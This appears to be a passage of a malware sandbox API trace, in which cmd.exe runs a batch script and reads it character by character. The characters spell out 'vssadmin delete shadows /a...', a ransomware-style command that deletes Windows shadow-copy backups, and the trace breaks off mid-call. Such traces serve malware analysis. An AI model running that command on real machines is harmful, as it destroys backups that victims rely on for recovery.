lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x19f3c0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f370 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x19f370*(hProcess=0x54, hThread=0x50, dwProcessId=0xa08, dwThreadId=0xa0c)) returned 1 [0038.860] CloseHandle (hObject=0x50) returned 1 [0038.860] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0038.860] GetProcessHeap () returned 0x270000 [0038.860] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28c230 | out: hHeap=0x270000) returned 1 [0038.860] GetEnvironmentStringsW () returned 0x28aa10* [0038.860] GetProcessHeap () returned 0x270000 [0038.860] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xae8) returned 0x28b500 [0038.860] FreeEnvironmentStringsW (penv=0x28aa10) returned 1 [0038.860] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x76f50000 [0038.860] GetProcAddress (hModule=0x76f50000, lpProcName="NtQueryInformationProcess") returned 0x76fa14a0 [0038.860] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x19ec78, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x19ec78, ReturnLength=0x0) returned 0x0 [0038.860] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdc000, lpBuffer=0x19ecb0, nSize=0x380, lpNumberOfBytesRead=0x19ec70 | out: lpBuffer=0x19ecb0*, lpNumberOfBytesRead=0x19ec70*=0x380) returned 1 [0038.861] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0040.794] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x19f2b8 | out: lpExitCode=0x19f2b8*=0x0) returned 1 [0040.794] CloseHandle (hObject=0x54) returned 1 [0040.794] _vsnwprintf (in: _Buffer=0x19f528, _BufferCount=0x13, _Format="%08X", _ArgList=0x19f2c8 | out: _Buffer="00000000") returned 8 [0040.794] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0040.794] GetProcessHeap () returned 0x270000 [0040.794] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b500 | out: hHeap=0x270000) returned 1 [0040.794] GetEnvironmentStringsW () returned 0x28aa10* [0040.795] GetProcessHeap () returned 0x270000 [0040.795] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb0e) returned 0x28eb10 [0040.795] FreeEnvironmentStringsW (penv=0x28aa10) returned 1 [0040.795] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0040.795] GetProcessHeap () returned 0x270000 [0040.795] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28eb10 | out: hHeap=0x270000) returned 1 [0040.795] GetEnvironmentStringsW () returned 0x28aa10* [0040.795] GetProcessHeap () returned 0x270000 [0040.795] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb0e) returned 0x28eb10 [0040.795] FreeEnvironmentStringsW (penv=0x28aa10) returned 1 [0040.795] GetProcessHeap () returned 0x270000 [0040.795] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288900 | out: hHeap=0x270000) returned 1 [0040.795] DeleteProcThreadAttributeList (in: lpAttributeList=0x19f388 | out: lpAttributeList=0x19f388) [0041.290] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0041.291] _get_osfhandle (_FileHandle=1) returned 0xf4 [0041.291] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0041.291] _get_osfhandle (_FileHandle=1) returned 0xf4 [0041.291] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a48e194 | out: lpMode=0x4a48e194) returned 0 [0041.291] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.291] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a48e198 | out: lpMode=0x4a48e198) returned 0 [0041.291] GetConsoleOutputCP () returned 0x4e3 [0041.292] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a49bfe0 | out: lpCPInfo=0x4a49bfe0) returned 1 [0041.292] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0041.292] GetProcessHeap () returned 0x270000 [0041.292] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285b70 | out: hHeap=0x270000) returned 1 [0041.292] GetProcessHeap () returned 0x270000 [0041.292] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289b00 | out: hHeap=0x270000) returned 1 [0041.292] GetProcessHeap () returned 0x270000 [0041.292] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x271cd0 | out: hHeap=0x270000) returned 1 [0041.293] GetProcessHeap () returned 0x270000 [0041.293] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289a80 | out: hHeap=0x270000) returned 1 [0041.293] GetProcessHeap () returned 0x270000 [0041.293] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2898a0 | out: hHeap=0x270000) returned 1 [0041.293] GetProcessHeap () returned 0x270000 [0041.293] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x271ab0 | out: hHeap=0x270000) returned 1 [0041.293] GetProcessHeap () returned 0x270000 [0041.293] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x286510 | out: hHeap=0x270000) returned 1 [0041.293] GetProcessHeap () returned 0x270000 [0041.293] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284610 | out: hHeap=0x270000) returned 1 [0041.293] GetProcessHeap () returned 0x270000 [0041.293] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2897e0 | out: hHeap=0x270000) returned 1 [0041.293] _vsnwprintf (in: _Buffer=0x4a4a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x19f7e8 | out: _Buffer="\r\n") returned 2 [0041.293] _get_osfhandle (_FileHandle=1) returned 0xf4 [0041.293] GetFileType (hFile=0xf4) returned 0x3 [0041.293] _get_osfhandle (_FileHandle=1) returned 0xf4 [0041.293] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a49c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0041.293] WriteFile (in: hFile=0xf4, lpBuffer=0x4a49c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x19f7b8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesWritten=0x19f7b8*=0x2, lpOverlapped=0x0) returned 1 [0041.293] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a48f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0041.293] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a49c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0041.293] _vsnwprintf (in: _Buffer=0x4a48eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x19f7f8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0041.294] _vsnwprintf (in: _Buffer=0x4a48ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x19f7f8 | out: _Buffer=">") returned 1 [0041.294] _get_osfhandle (_FileHandle=1) returned 0xf4 [0041.294] GetFileType (hFile=0xf4) returned 0x3 [0041.294] _get_osfhandle (_FileHandle=1) returned 0xf4 [0041.294] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a49c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0041.294] WriteFile (in: hFile=0xf4, lpBuffer=0x4a49c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x19f7e8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesWritten=0x19f7e8*=0x26, lpOverlapped=0x0) returned 1 [0041.294] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.294] GetFileType (hFile=0xe8) returned 0x3 [0041.294] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.294] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.294] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.294] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0041.294] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.294] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.294] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.294] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0041.295] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.295] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.295] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.295] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0041.295] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.295] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.295] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.295] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0041.295] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.295] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.295] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.295] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0041.295] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.295] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.295] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.295] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0041.295] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.295] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.295] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.296] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0041.296] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.296] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.296] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.296] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0041.296] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.296] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.296] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.296] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0041.296] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.296] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.296] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.296] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0041.296] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.296] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.296] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.296] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0041.296] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.296] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.296] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.297] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0041.297] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.297] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.297] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.297] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0041.297] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.297] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.297] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.297] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0041.297] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.297] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.297] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.297] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0041.297] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.297] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.297] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.297] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0041.297] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.297] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.297] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.298] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0041.298] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.298] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.298] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.298] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0041.298] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.298] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.298] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.298] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0041.298] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.298] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.298] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.298] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0041.298] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.298] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.298] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.298] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0041.298] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.298] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.299] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.299] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0041.299] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.299] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.299] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.299] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0041.299] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.299] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.299] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.299] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0041.299] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.299] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.299] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.299] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0041.299] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.299] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.299] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.299] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0041.299] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.299] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.300] ReadFile (in: 